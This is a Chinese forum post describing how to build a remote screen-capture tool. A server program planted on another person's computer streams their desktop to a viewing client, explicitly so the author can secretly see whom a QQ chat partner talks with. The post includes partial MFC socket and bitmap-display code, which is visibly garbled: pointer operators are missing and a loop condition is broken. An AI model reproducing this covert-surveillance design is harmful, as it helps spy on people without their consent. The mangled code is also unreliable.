签到

05月05日
尚未签到

共有回帖数 1

    人心难测

    等级:
    一、前言看了大家写了这么多的代码,自己也想贡献一点。呵呵,很多的时候我们在qq的时候都想看看和自己聊天的对方在和哪些人聊天,有什么办法没有?直接一点的就是截获对方的桌面。我看了一下一般的截获的桌面都没有及时的显示和更新,而且每次显示的时候如果从磁盘中读取的话速度未免太慢了一点,可不可以直接将bitmap的数据直接传到网络的终端显示呢?ok这个方法应该可以。闲话免说。开始正式进入我们的话题。二、服务程序实现首先要的是在对方的电脑上放入服务器程序:EmployerSever.exe。网络的传送自然少不了的,我采用的是mfc CSocket。控制端的程序是点击“开始服务”就可以接受网络的另一端的连接了。服务端的关键是截取屏幕 ,并且发送出去。如下所示:



    三、客户端程序实现其次是客户端 BossSeeClient.exe,只要是用来接收对方的发过来的字节,并且造型为bitmap显示在客户区。首先在编辑中写入要监视的对方的ip地址,这样主机就会出现在右边的视图中了,双击对应的图标就可以连接了,在这里双击的时候我加入了记时器settimer双击之后,如果连接顺利就可以在右边的客户端显示对方的桌面的情况了。并且由于有定时,所以显示会及时的更新,你可以根据自己的需要改变监视的时间,只要右键对方的ip地址就可以有对话框弹出更改自己的要求了。




    四、尾声我在本机上测试了程序,是可以运行得很好的,但是当我在我们寝室的两台机子对联的时候出现了问题,我想可能是因为SetDIBits()函数的时间消耗比较的大,再又由于网络的原因所以导致一些问题。而且默认的 settimer 是1.5秒是不是时间上应该多放一点。

    楼主 2016-07-28 11:26 回复

    人心难测

    等级:
    m_pRecBMPSocket-Send(MSGTYPE1,30);
       int ret=m_pRecBMPSocket-Receive(BTMInfoBuf,sizeof(BITMAP));
      if (ret!=24)
      { MessageBox("failed recive 24"); return;}
      BITMAP *BTMBUF=(BITMAP *)BTMInfoBuf;
      btm.bmBits=BTMBUF-bmBits;
        btm.bmBitsPixel=BTMBUF-bmBitsPixel;
      btm.bmHeight=BTMBUF-bmHeight;
      btm.bmPlanes=BTMBUF-bmPlanes;
      btm.bmType=BTMBUF-bmType;
      btm.bmWidth=BTMBUF-bmWidth;
      btm.bmWidthBytes=BTMBUF-bmWidthBytes;
      char MSGTYPE2[30]="D";
      m_pRecBMPSocket-Send(MSGTYPE2,30);
        int size=btm.bmWidthBytes*btm.bmHeight;
      lpData=new char[size];
        if(lpData==NULL)
        MessageBox("faile memery");
      char *pch=lpData ;
      int nBytesRec=0;
      int nBytesThisTime;
      do{   //发送的内容较大采用循环发送完成为止
       nBytesThisTime=m_pRecBMPSocket-Receive(pch,size-nBytesRec);
       nBytesRec+=nBytesThisTime;
       pch+=nBytesThisTime;
      }while(nBytesRecUpdateAllViews(NULL,NULL,NULL);//更新视图
      /////////////////////////////////////
    }
    void CClientView::OnDraw(CDC* pDC)
    {//显示接收到的位图信息
      CDocument* pDoc = GetDocument();
      // TODO: add draw code here
      if(lpData==NULL) return;
      BITMAP myBITMAP;
      myBITMAP.bmBits=btm.bmBits;
      myBITMAP.bmBitsPixel=btm.bmBitsPixel;
      myBITMAP.bmHeight=btm.bmHeight;
      myBITMAP.bmPlanes=btm.bmPlanes;
      myBITMAP.bmType=btm.bmType;
      myBITMAP.bmWidth=btm.bmWidth;
      myBITMAP.bmWidthBytes=btm.bmWidthBytes;
      BITMAPINFOHEADER bih;
      bih.biBitCount=myBITMAP.bmBitsPixel;
      bih.biClrImportant=0;
      bih.biClrUsed=0;
      bih.biCompression=0;
      bih.biHeight=myBITMAP.bmHeight;
      bih.biPlanes=1;
      bih.biSize=sizeof(BITMAPINFOHEADER);
      bih.biSizeImage=myBITMAP.bmWidthBytes*myBITMAP.bmHeight;
      bih.biWidth=myBITMAP.bmWidth;
      bih.biXPelsPerMeter=0;
      bih.biYPelsPerMeter=0;
        /////////////////////////
          CBitmap tbitmap;
      if(tbitmap.CreateBitmapIndirect(&myBITMAP)==NULL)
        MessageBox("b mull");
      if(tbitmap.m_hObject==NULL)MessageBox("


    // CPaintDC tdc(this);
      CDC tmemdc;
      tmemdc.CreateCompatibleDC(pDC);
      SetDIBits(tmemdc.m_hDC,tbitmap,0,btm.bmHeight,lpData,(BITMAPINFO*)&bih,DIB_RGB_COLORS);
      CRect trect;
      GetClientRect(&trect);

      CBitmap* lpOldbit=tmemdc.SelectObject(&tbitmap);
      pDC-StretchBlt(0,0,trect.Width(),trect.Height(),
                &tmemdc,0,0,myBITMAP.bmWidth,
                myBITMAP.bmHeight,SRCCOPY);
    }

    1楼 2016-07-28 11:27 回复

共有回帖数 1
  • 回 帖
  • 表情 图片 视频
  • 发表

登录直线网账号

Copyright © 2010~2015 直线网 版权所有,All Rights Reserved.沪ICP备10039589号 意见反馈 | 关于直线 | 版权声明 | 会员须知